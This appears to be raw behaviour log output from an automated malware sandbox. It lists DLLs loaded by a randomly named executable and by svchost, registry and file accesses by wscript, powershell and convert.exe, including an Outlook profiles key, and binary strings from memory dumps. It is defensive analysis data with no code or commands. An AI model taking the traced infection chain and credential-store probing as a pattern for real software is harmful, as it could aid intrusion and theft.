Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\convert.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.2502842295.00007FFD34860000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: appidtel.exe, appidtel.exe, 0000000A.00000003.2629248061.0000000003729000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000003.2627277075.000000000357A000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp, convert.exe, convert.exe, 00000013.00000003.2729543157.00000000032CB000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2733109530.00000000034B8000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: appidtel.pdb source: convert.exe, 00000013.00000002.2977602776.0000000003C8C000.00000004.10000000.00040000.00000000.sdmp, convert.exe, 00000013.00000002.2974673632.0000000002F44000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3537079576.000000000259C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3534781987.000000002F20C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: appidtel.exe, 0000000A.00000003.2629248061.0000000003729000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000003.2627277075.000000000357A000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2729543157.00000000032CB000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2733109530.00000000034B8000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: convert.pdb source: appidtel.exe, 0000000A.00000002.2727615136.00000000033A7000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536147480.0000000001288000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000003.2670887482.000000000129B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.2502842295.00007FFD34860000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: convert.pdbGCTL source: appidtel.exe, 0000000A.00000002.2727615136.00000000033A7000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536147480.0000000001288000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000003.2670887482.000000000129B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
